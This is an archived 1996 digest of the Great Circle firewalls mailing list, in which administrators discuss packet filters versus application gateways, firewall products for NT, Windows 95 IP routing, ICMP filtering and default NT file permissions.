From firewalls-owner  Fri Mar  8 15:01:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA27609 for firewalls-outgoing; Fri, 8 Mar 1996 07:43:28 -0800 (PST)
Received: from shiva-dev.shiva.com (shiva.com [192.80.57.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA27604 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 07:43:21 -0800 (PST)
Received: from shivaportal.shiva.com ([140.248.128.26]) by shiva-dev.shiva.com (8.7.1/8.6.4) with SMTP id KAA16259 for <@shiva-dev.shiva.com:firewalls@greatcircle.com>; Fri, 8 Mar 1996 10:41:49 -0500 (EST)
Received: by shivaportal.shiva.com (IBM OS/2 SENDMAIL VERSION 1.3.2)/1.0)
	  id AA2769; Fri, 08 Mar 96 10:44:46 -0500
Message-Id: <9603081544.AA2769@shivaportal.shiva.com>
Received: from Shiva Corporation with "Lotus Notes Mail Gateway for SMTP"
  id 5EDC1768E44438DD852562E70055FD60; Fri,  8 Mar 96 10:44:46 
To: firewalls <firewalls@greatcircle.com>
From: Paul Gustafson/Shiva Corporation
  <pgustafson@shiva.com>
Date:  8 Mar 96 10:39:47 
Subject: subsribe firewalls-digest
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk




From firewalls-owner  Fri Mar  8 15:12:55 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA25049 for firewalls-outgoing; Fri, 8 Mar 1996 07:03:37 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA25044 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 07:03:31 -0800 (PST)
Received: from clark.net (proberts@clark.net [168.143.0.7]) by mail.Clark.Net (8.7.3/8.6.5) with ESMTP id KAA09383; Fri, 8 Mar 1996 10:02:04 -0500 (EST)
Received: (from proberts@localhost) by clark.net (8.7.1/8.7.1) id KAA25484; Fri, 8 Mar 1996 10:02:01 -0500 (EST)
Date: Fri, 8 Mar 1996 10:02:00 -0500 (EST)
From: "Paul D. Robertson" <proberts@clark.net>
To: Frank Willoughby <frankw@in.net>
cc: firewalls@GreatCircle.COM
Subject: Re: Eternal war: gateway versus filtering
In-Reply-To: <9603081305.AA24667@su1.in.net>
Message-ID: <Pine.SOL.3.91.960308095538.21012C-100000@clark.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 8 Mar 1996, Frank Willoughby wrote:

> >>...but i'm sure, it's only a question of time till vendors will offer
> >>both, application level and packet filtering firewalls. 
> 
> Perhaps - although I doubt if they would incorporate both into the same
> product.

Though the application level stuff is limited (telnet, FTP, SMTP -- not 
sure if SOCKS really counts), IBM currently offers this with Secure Network 
Gateway.

> 
> >it would be
> >>a very good argument if they are acting as a consulter, too.
> >
> 
> I disagree here.  Having the firewall vendor acting as a consultant puts
> the vendor in a conflict-of-interest situation.  (Sort of like turning
> the keys of the prison over to the inmates and telling them they are not
> supposed to leave the premises).
> 

Great analogy!

> 
> >I don't see much sense in putting application gateways and packet
> >filters in the same box, or hooking them up in parallel. If the
> >networks in question needs the degree of separation provided by an
> >application gateway, then you're dilluting the effect by letting a
> >filtered packet flow in along with it.
> >
> 
> Agreed.  Putting different levels of security in parallel will ensure
> that the weaker of the two will be used to bypass the stronger security.
> 

Only if you rely exclusively on both layers of protection in the same box.

> Also, it is a good idea to put an IP Packet Filter (on the Internet/untrusted
> side) in series with the firewall (with the IP Packet Filter set up so
> that it filters the exact same items as the firewall).  There are two 
> advantages to this:
> 
> o There will be an increase in performance in the firewall.  
>   Since the IP Packet Filter is blocking services that the firewall will
>   also block, the firewall won't be wasting its CPU resources blocking a 
>   connection which is going to be rejected anyway.

If you buy a big enough box, this isn't an issue :)  In my observations, 
CPU doesn't seem to ever be the problem anyway.

> 
> o The IP Packet Filter can act as a crude (and inadequate) first layer of 
>   defense in protecting the company's networks.  If the Firewall Admin 
>   makes a mistake in setting up the firewall rules, the IP Packet Filter 
>   will help reduce the risk (somewhat) of the company's exposure to the
>   Internet.  While a successful attack is possible under these circumstances,
>   it may buy enough time for Firewall Admin to catch the mistake and take
>   appropriate corrective actions.
> 
> 
> In the above instances, a router may be sufficient to serve as the IP 
> Packet Filter (a low-cost option worth considering).  For the ultra-
> paranoid who can afford it, place a stateful IP Packet Filter in series
> between the external router & the (Applications Gateway) Firewall.

As long as you continue to screen in front of and behind the 
proxy/screen, then it's just another level of protection.

Since most of us buy the same sort of router for all our routing needs (I 
don't, but then I'm paranoid),  there could be some merit in having the 
'wall do its own filtering.  So long as it *augments* the screening 
routers and doesn't *replace* them.

Paul.
-----------------------------------------------------------------------------
Paul D. Robertson      "My statements in this message are personal opinions
proberts@clark.net      which may have no basis whatsoever in fact."
                                                                     PSB#9280


From firewalls-owner  Fri Mar  8 15:27:47 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA02347 for firewalls-outgoing; Fri, 8 Mar 1996 08:58:10 -0800 (PST)
Received: from dcb01a.cwi.net (dcb01a.cwi.net [205.136.1.65]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA02333 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:58:03 -0800 (PST)
Received: from mailhub.crtinc.com (mailhub.crtinc.com [206.142.7.5]) by dcb01a.cwi.net (8.6.9/8.6.9) with SMTP id LAA08505 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 11:56:38 -0500
Received: by mailhub.crtinc.com with Microsoft Mail
	id <314090F6@mailhub.crtinc.com>; Fri, 08 Mar 96 11:56:38 PST
From: "Husa, Carl" <carl@crtinc.com>
To: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: FW: FW: Security of Networked Workstations with dial-up PPP In  
	ternet!!!
Date: Fri, 08 Mar 96 12:09:00 PST
Message-ID: <314090F6@mailhub.crtinc.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk




 ----------
From:  Paul D. Robertson[SMTP:proberts@clark.net]
Sent:  Friday, March 08, 1996 9:55 AM
To:  Husa, Carl
Cc:  'firewalls@greatcircle.com'
Subject:  Re: FW: Security of Networked Workstations with dial-up PPP   
Internet!!!



"Ip routing is not a supported feature of Windows 95. ...problem[s are]   
likely to occur if you upgradedd a Microsoft Windows for Workgroups-based   
computer using the Microsoft TCP/IP-32 protocol with IP routing enable to   
Windows95.  In this situation, the "EnableRouting=1" entry is present in   
the System.ini file and is copied to the registry during the upgrade   
process.  Ip routing is not enable by default in Windows 95, and can be   
enable only by adding the unsupported EnableRouting value to the   
registry."

Microsoft  KnowledgeBase
Article ID:  Q142543
25 Jan 1996


Seems it doesn't work, but can be enabled in an unsupported fashion :)



______________________________________________________________

On Fri, 8 Mar 1996, Husa, Carl wrote:

> while its true that you can make that adjustment in the registry, and   
it
> might work (and then again might not!), Microsoft will not support
> Windows95 configured with iprouting enabled (and they say so in January   
    

> Technet)
>
And the difference between a vendor supported hole in a firewall, and an
unsupported one is....?

Is there anyone who can acutually confirm or deny that Win95 will do
iprouting all by its lonesome?

Paul.
 --------------------------------------------------------------------------  
 ---
Paul D. Robertson      "My statements in this message are personal   
opinions
proberts@clark.net      which may have no basis whatsoever in fact."
                                                                     PSB#9  
280



From firewalls-owner  Fri Mar  8 15:41:39 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA25364 for firewalls-outgoing; Fri, 8 Mar 1996 07:08:38 -0800 (PST)
Received: from 198.68.45.121 (steldyn.com [198.68.45.121]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA25358 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 07:08:33 -0800 (PST)
Received: from juneau.steldyn.com (192.1.31.1) by www.steldyn.com (EMWAC SMTPRS 0.60) with SMTP id <B0000001503@www.steldyn.com>; Fri, 08 Mar 1996 08:10:37 -0700
Received: by juneau.steldyn.com with Microsoft Exchange (IMC 4.12.736)
	id <01BB0CC6.444103B0@juneau.steldyn.com>; Fri, 8 Mar 1996 08:07:17 -0700
Message-ID: <c=US%a=_%p=Stellar_Dynamics%l=JUNEAU960308080715BW005C00@juneau.steldyn.com>
From: Chris Pugrud <ChrisP@steldyn.com>
To: "'William J. Lugaila'" <williaml@mail.pstnet.com>
Cc: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: RE: NT Firewalls
Date: Fri, 8 Mar 1996 08:07:15 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.12.736
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BB0CC6.44428A50"
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.  Contact your
mail administrator for information about upgrading your reader to a version
that supports MIME.

------ =_NextPart_000_01BB0CC6.44428A50
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

What's your idea of inexpensive?  What are you protecting?  How many users
are going to be behind the firewall?  What services do you need to offer?
If your idea of inexpensive is $2K, your not very worried about security,
and all you need to offer is Web and FTP to PC and MAC clients then you
could go with a gateway.  I have used a couple of gateways for clients that
don't have a budget, need Internet access, and can't get management to pay
for reasonable security.  My definition of a gateway is an isolated PC
running a caching proxy server, such as Purveyor or Spry.  This allows for a
reasonable amount of isolation from the Internet, for a very low cost, but
is definitely short on security.
If you have more reasonable management and less than a hundred users, and
realistic expectations of security there are several firewalls that will be
available soon for NT.  Raptor (http://www.raptor.com) is shipping their
Eagle NT product, I have yet to see it, but the promise it will show up in
the mail "any day".  One of these products will provide you with good
security, a great deal more flexibility, and only set you back $10-15K US. 
For larger installations, the fee schedule for these products increases and
you will be looking at $15-25K US for hardware.
All of these possibilities are separated by the ability of the people
setting them up.  If your not stuck on NT, there are a great deal more
options for firewalls in UNIX, including Linux and BSD variants.
Truly the most important question is what are you trying to protect?  How
much will it cost your company to recover their data if the building burns
down, blows up, or hacker completely trashes your entire network?

Chris
*********************************************************
Chris Pugrud     Network Engineering     Stellar Dynamics     Idaho Power
chrisp@steldyn.com     208-368-6818
Information Security is a process, Not a solution
*********************************************************

>----------
>From: 	William J. Lugaila[SMTP:williaml@mail.pstnet.com]
>Sent: 	Wednesday, March 06, 1996 6:53 AM
>To: 	'firewalls@greatcircle.com'
>Subject: 	NT Firewalls
>
>I am looking for a firewall that would run on a NT Server platform. I need
>it to be inexpensive, run as a service, and  some other things. Does anyone
>have any ideas or where I can get information?
>
>William J. Lugaila
>

------ =_NextPart_000_01BB0CC6.44428A50--

From firewalls-owner  Fri Mar  8 16:00:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA03038 for firewalls-outgoing; Fri, 8 Mar 1996 09:12:02 -0800 (PST)
Received: from passer.osg.gov.bc.ca ([142.32.110.29]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA03032 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 09:11:53 -0800 (PST)
Received: from localhost (localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.7.4/8.6.10) with SMTP id JAA27862; Fri, 8 Mar 1996 09:08:46 -0800 (PST)
From: Cy Schubert - BCSC Open Systems Group <cschuber@uumail.gov.bc.ca>
Message-Id: <199603081708.JAA27862@passer.osg.gov.bc.ca>
X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol
Reply-to: cschuber@orca.gov.bc.ca
X-Mailer: DXmail
To: Jay Tingiris <jtingiris@gw.paradyne.com>
cc: firewalls@GreatCircle.COM
Subject: Re: firewalls: NT Firewalls - Reply  
In-reply-to: Your message of "Thu, 07 Mar 96 12:32:10 EST."
             <s13ed7db.053@gw.paradyne.com> 
Date: Fri, 08 Mar 96 09:08:46 -0800
X-Mts: smtp
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> For an inexpensive firewall you should look at Linux coupled with TIS Toolkit

From firewalls-owner  Fri Mar  8 16:49:47 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA00154 for firewalls-outgoing; Fri, 8 Mar 1996 09:58:11 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA00133 for <firewalls@miles>; Fri, 8 Mar 1996 09:58:05 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id JAA21198; Fri, 8 Mar 1996 09:52:44 -0800
Received: from ncar.ucar.edu(192.52.106.6) by mycroft via smap (V1.3mjr)
	id sma021195; Fri Mar  8 09:52:09 1996
Message-Id: <199603081754.KAA04050@ncar.ucar.EDU>
Received: by ncar.ucar.EDU (NCAR Local/ NCAR Central Post Office 03/11/93)
	id KAA04050; Fri, 8 Mar 1996 10:54:27 -0700 (MST)
Subject: Re: Eternal war: gateway versus filtering
To: firewalls@greatcircle.com
Date: Fri, 8 Mar 96 10:54:24 MST
From: woods@ncar.ucar.edu (Greg Woods)
X-Mailer: ELM [version 2.3 PL11]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> >I don't see much sense in putting application gateways and packet
> >filters in the same box, or hooking them up in parallel. If the
> >networks in question needs the degree of separation provided by an
> >application gateway, then you're dilluting the effect by letting a
> >filtered packet flow in along with it.
> >
> 
> Agreed.  Putting different levels of security in parallel will ensure
> that the weaker of the two will be used to bypass the stronger security.

Doesn't this depend on what your company's security policy is and how
much risk you're willing to accept? As Brent's book points out in the
security policy chapter, for many of us, adopting a policy that
requires us to build a completely impregnable firewall is not
realistic. But not being able to install perfect security doesn't mean
that we should do nothing to protect ourselves.  Example: we have an
application that needs to be accessed from some ATM WAN links at FDDI
speeds.  We can't have it go through a gateway host because it's too
slow.  So we punch a hole in the packet filter to allow connections to
this one host from the outside, and take steps to secure that host.
Isn't that better than just abandoning security altogether? So here's
at least one case where it does make sense to have a packet filter in
parallel with an application gateway. Yes, we know it weakens security,
but we know exactly how much and we willingly choose to accept the
additional risk.

--Greg

From firewalls-owner  Fri Mar  8 16:57:30 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA00887 for firewalls-outgoing; Fri, 8 Mar 1996 11:38:18 -0800 (PST)
Received: from sandy.sandpiper.com (sandy.sandpiper.com [204.96.232.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA00882 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 11:38:10 -0800 (PST)
Received: by sandy.sandpiper.com (4.1/SMI-4.1)
	id AA19992; Fri, 8 Mar 96 11:37:57 PST
Date: Fri, 8 Mar 96 11:37:57 PST
From: chris@sandpiper.com (Chris Newton)
Message-Id: <9603081937.AA19992@sandy.sandpiper.com>
To: firewalls@greatcircle.com
Subject: /etc/services entries
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Firewall Gurus,

I have just upgraded a machine to solaris 2.5, and noticed the following
entries in the /etc/services file

> 	ingreslock	1524/tcp
> 	nfsd		2049/udp
> 	nfsd		2049/tcp
> 	listen		2076/tcp
> 	lockd		4045/udp
> 	lockd		4045/tcp
> 	dtspc		6112/tcp
> 	fs		7100/tcp
> 

Should I be worrying about these, or are they going to be benign. If I should
worry, what can I do to protect myself, apart from reconfiguring our router
to block incoming traffic to these ports

TIA for any input

chris newton
network security
sandpiper software consulting

From firewalls-owner  Fri Mar  8 17:02:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA02062 for firewalls-outgoing; Fri, 8 Mar 1996 12:04:05 -0800 (PST)
Received: from aero.org (aero.org [130.221.16.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA02053 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 12:03:58 -0800 (PST)
Received: from commandant.aero.org ([130.221.152.20]) by aero.org with SMTP id <111134-2>; Fri, 8 Mar 1996 12:01:33 -0800
Received: from localhost.aero.org by commandant.aero.org (4.1/AMS-1.0)
	id AA29165 for firewalls@greatcircle.com; Fri, 8 Mar 96 15:00:40 EST
To: Firewalls@greatcircle.com
Subject: Re: Firewalls-Digest V5 #145 
In-Reply-To: Your message of "Thu, 07 Mar 1996 18:16:54 PST."
             <199603080216.SAA20157@miles.greatcircle.com> 
Date: 	Fri, 8 Mar 1996 12:00:39 -0800
From: "Jandria S. Alexander" <jalexand@commandant.aero.org>
Message-Id: <96Mar8.120133pst.111134-2@aero.org>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Majordomo@GreatCircle.COM


From firewalls-owner  Fri Mar  8 17:07:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA02229 for firewalls-outgoing; Fri, 8 Mar 1996 12:07:56 -0800 (PST)
Received: from magneto.acquion.com (magneto.acquion.com [206.154.17.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA02223 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 12:07:51 -0800 (PST)
Received: from wolverine.acquion.com ([206.154.17.12])
          by magneto.acquion.com (post.office MTA v1.9.1 ID# 0-11944)
          with SMTP id AAA85 for <firewalls@greatcircle.com>;
          Fri, 8 Mar 1996 15:07:26 -0500
Message-Id: <2.2.32.19960308200726.0069fc3c@mail.acquion.com>
X-Sender: moll5029@mail.acquion.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 08 Mar 1996 15:07:26 -0500
To: firewalls@greatcircle.com
From: "Joseph L. Moll" <jmoll@acquion.com>
Subject: ICMP and Packet Filtering Firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

As a general topic of discussion...

Which ICMP types (if any) should you let through your packet filtering firewall?

Regards,
---
Joseph (Joe) L. Moll  mailto:jmoll@acquion.com
Network/Communications Engineering
http://www.acquion.com  phone:864-281-4108  fax:864-281-4576
Acquion, Inc.  Greenville, SC  USA -- Specialists in Electronic Commerce


From firewalls-owner  Fri Mar  8 17:12:41 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA08272 for firewalls-outgoing; Fri, 8 Mar 1996 14:29:03 -0800 (PST)
Received: from transfer.stratus.com (transfer.stratus.com [134.111.1.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id OAA08266 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 14:28:57 -0800 (PST)
From: Dick_Wall@stratus.com
Received: from na.stratus.com (na.stratus.com [134.111.18.94]) by transfer.stratus.com (8.7.4/8.7.3) with SMTP id RAA24830 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 17:27:15 -0500 (EST)
Received: from  by na.stratus.com with SMTP
	(1.38.193.5/16.2) id AA08531; Fri, 8 Mar 1996 17:26:33 -0500
X-Openmail-Hops: 1
Date: Fri, 8 Mar 96 17:26:05 -0500
Message-Id: <H000025100982b4d@MHS>
Subject: How Do Others Handle ...
Mime-Version: 1.0
To: firewalls@greatcircle.com
Content-Type: text/plain; charset=US-ASCII; name="Message text"
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

How do others handle connections to dial PPP service providers such as
Compuserve or Infonet's InfoLAN on the Road?

These are services where the carrier provides the world wide dial entry
points, and authentication, and the calls terminate in a carrier
supplied router on the customer supplied network.  I don't have a
problem with the authentication part of it .. but I'm concerned about
placing someone else router directly on my network without any sort of
firewall implementation.  

Does anyone have experience with Compuserve?

Do any of you implement a firewall between Compuserve and your own LAN?

I'm concerned about what else might come through that router.  (And the
phrase "trust us .. it's not a problem" .. is "really" getting
annoying).

Thanks

Dick


From firewalls-owner  Fri Mar  8 17:29:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA08590 for firewalls-outgoing; Fri, 8 Mar 1996 14:33:13 -0800 (PST)
Received: from relay.ashton.csc.com (relay.ashton.csc.com [20.2.54.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA08584 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 14:33:09 -0800 (PST)
Received: by relay.ashton.csc.com; id RAA14742; Fri, 8 Mar 1996 17:34:40 -0500
Received: from unknown(20.2.2.46) by relay.ashton.csc.com via smap (g3.0.1)
	id sma014740; Fri, 8 Mar 96 17:34:25 -0500
Received: by batman.ashton.csc.com with Microsoft Mail
	id <01BB0D15.62560720@batman.ashton.csc.com>; Fri, 8 Mar 1996 17:33:37 -0500
Message-ID: <01BB0D15.62560720@batman.ashton.csc.com>
From: Chris Kostick <ckostick@csc.com>
To: "'Nigel Metheringham'" <Nigel.Metheringham@theplanet.net>
Cc: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: RE: [masq] Max port usable when masquerading.... 
Date: Fri, 8 Mar 1996 17:33:35 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> } Have not run into that yet. I haven't looked at the port reusability 
> } issue either. Ports for masquerading, by default, start at 60000. 
> } Therefore, if the number of ports are full and not reused, then at 
> } most you can have 5535 (65535-60000) connections. Still quite a bit, 
> } but you can run out. However, if they are reused, then I don't 
> } believe running out of connections would be the problem. 
> 
> There is a timeout on close - its about 2 minutes.  So connections 
> (ie the masquerading tunnels) hang around for that long after closing 
> down, and even longer if they are not closed down.  
> 
> I'm going to build a test rig and see if I can sort this.

I'm interested in this figure (under Linux). I ran a test on a Sun once to
see if I could max out the available connections. I could only get to around
200 before it leveled out and the number of connections in the TIME_WAIT
state being freed were the same as the number of new connections coming in.

--
chris


From firewalls-owner  Fri Mar  8 17:40:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA02386 for firewalls-outgoing; Fri, 8 Mar 1996 13:02:27 -0800 (PST)
Received: from charlotte.pstnet.com ([206.65.21.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA02381 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 13:02:21 -0800 (PST)
Received: from eagle.pstnet.com (eagle.pstnet.com [221.1.1.19]) by charlotte.pstnet.com (8.6.11/8.6.11) with SMTP id QAA08360 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 16:00:25 -0500
Received: by eagle.pstnet.com with Microsoft Mail
	id <01BB0D08.A01D6100@eagle.pstnet.com>; Fri, 8 Mar 1996 16:02:18 -0500
Message-ID: <01BB0D08.A01D6100@eagle.pstnet.com>
From: "William J. Lugaila" <williaml@mail.pstnet.com>
To: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: Linux(UNIX) machines on a NT server network
Date: Fri, 8 Mar 1996 16:02:16 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Does anyone know a way for a Linux(UNIX) workstation to be able to see =
the Internet through a NT platform firewall? I need a WINSOK 1.1 "if one =
is out there" for the Linux(UNIX) operating system or some information =
on how to get the Linux(UNIX) to see the Internet besides softwindows.

William J. Lugaila


From firewalls-owner  Fri Mar  8 17:42:43 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA01986 for firewalls-outgoing; Fri, 8 Mar 1996 12:56:51 -0800 (PST)
Received: from uu2.psi.com (uu2.psi.com [128.145.228.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA01981 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 12:56:44 -0800 (PST)
Received: by uu2.psi.com (5.65b/4.0.940727-PSI/PSINet) via UUCP;
        id AA14929 for ; Fri, 8 Mar 96 15:44:25 -0500
Received: from keywest.ccifl.com (keywest.ARPA) by ccifl.com (4.1/3.2.012693-CAD CAM Southeast);
        id AA04970 for eisner.decus.org!holdrege; Fri, 8 Mar 96 08:38:54 EST
Received: by keywest.ccifl.com (5.x/SMI-SVR4)
	id AA14086; Fri, 8 Mar 1996 08:35:54 -0500
Date: Fri, 8 Mar 1996 08:35:54 -0500
From: mark@ccifl.com (Mark Sherman)
Message-Id: <9603081335.AA14086@keywest.ccifl.com>
To: holdrege@eisner.decus.org, firewalls@greatcircle.com, jeromie@garrison.com
Subject: RE: IP/IPX firewall
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> From firewalls-owner@GreatCircle.COM Wed Mar  6 15:44:55 1996
> Date: Wed, 6 Mar 96 11:13:56 CST
> From: jeromie@garrison.com (Jeromie Jackson)
> To: holdrege@eisner.decus.org, firewalls@greatcircle.com
> Subject: RE: IP/IPX firewall
> 
> 
> >>I'm looking for a firewall that would allow only certain IP and IPX 
> >>addresses to access a LAN. At least one of the interfaces on the Firewall 
> >>need to be Token Ring. The other could be Token Ring or Ethernet. Does such 
> >>a beast exist?
> 
> >>Yes -- its called a router. With filtering capabilities, of course.  :-)
> 
> >>- paul
> 
> >> OK, OK. To be more specific, this firewall needs to have a user-friendly 
> >> access list administrative interface. That rules out the Cisco routers that 
> >> we use. 
> 
> Ciscoworks, or FW-1 would provide such an interface I do believe..
> 
> Jeromie Jackson
> Garrison Technologies
> jeromie@garrison.com
> 
> 
As of the present FW-1 does not support IPX, although you could certainly do
this with IP addresses. I hear IPX will be added to FW-1 about mid-year 96.


mark sherman
mark@ccifl.com

From firewalls-owner  Fri Mar  8 18:01:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA21314 for firewalls-outgoing; Fri, 8 Mar 1996 17:12:26 -0800 (PST)
Received: from mailhost1.primenet.com (mailhost1.primenet.com [198.68.32.51]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA21299 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 17:12:18 -0800 (PST)
Received: from usr2.primenet.com (root@usr2.primenet.com [198.68.32.12]) by mailhost1.primenet.com (8.7.3/8.7.1) with ESMTP id SAA05988 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 18:10:37 -0700 (MST)
Received: from ip153.phx.primenet.com (ip153.phx.primenet.com [198.68.46.153]) by usr2.primenet.com (8.7.3/8.7.3) with SMTP id SAA27993 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 18:10:35 -0700 (MST)
Date: Fri, 8 Mar 1996 18:10:35 -0700 (MST)
Message-Id: <199603090110.SAA27993@usr2.primenet.com>
X-Sender: sbeane@mailhost.primenet.com (Unverified)
X-Mailer: Windows Eudora Version 1.4.4
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: sbeane@primenet.com (Shelly Beane)
Subject: Remove
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Remove
-----------------------------------------------------------

American Express           
-----------------------------------------------------------


From firewalls-owner  Fri Mar  8 18:12:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA26722 for firewalls-outgoing; Fri, 8 Mar 1996 18:08:36 -0800 (PST)
Received: from uuneo.neosoft.com (uuneo.neosoft.com [206.109.1.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id SAA26717 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 18:08:31 -0800 (PST)
Received: from nmti.com (ficc@localhost) by uuneo.neosoft.com (8.7.4/8.7.4) with UUCP id TAA13614; Fri, 8 Mar 1996 19:32:31 -0600 (CST)
Received: from sonic.nmti.com (peter@sonic.nmti.com [198.178.0.2]) by web.nmti.com (8.6.12/8.6.9) with SMTP id TAA26977; Fri, 8 Mar 1996 19:17:09 -0600
Received: by sonic.nmti.com; id AA29072; Fri, 8 Mar 1996 19:17:07 -0600
From: peter@nmti.com (Peter da Silva)
Message-Id: <9603090117.AA29072@sonic.nmti.com.nmti.com>
Subject: Re: UNIX CVirus - 2nd try (pt 1)
To: smithr@HQ.rs.af.mil (Robb R. Smith II)
Date: Fri, 8 Mar 1996 19:17:07 -0600 (CST)
Cc: peter@nmti.com, goertzek@wangfed.com, firewalls@GreatCircle.COM
In-Reply-To: <31404C2C.582F@HQ.rs.af.mil> from "Robb R. Smith II" at Mar 8, 96 09:03:08 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> If you are referring to default installation, then you're opening your
> statement to ridicule. (i.e. SUN OS (Unix), HP-UX, SCO-Unix all have holes
> in their default installation. 

I expect they do, but they're not holes of the magnitude of the one NT comes
with. And there are better systems out there... FreeBSD follows CERT pretty
closely.

> I work extensively (administer, configure, develop applications) with SCO
> (1400 systems),

I truly feel sorry for you. I've worked with SCO and I'm extremely reluctant
to consider even looking at it again.

> and HP-UX (3 HP9000, 3 HP750)

I'm not familiar with HPUX.

> and NT (1 DEC-Alpha, 4 x86) and I feel NT 
> comes with much more security functions/capabilities than UNIX. 

NT is distributed with "Everyone" having RWXD access to %SYSTEMROOT% and all
root partitions.

This is a bigger hole than anything I've ever seen on a UNIX box. I was
utterly appalled. A traditional DOS style virus has pretty much free
reign with this, and it doesn't even have to *look* for things like old
sendmails and syslogds.

Yes, I do believe that NT has the potential for being a lot tighter than
traditional UNIX. But as installed it's wide open in a way that I've never
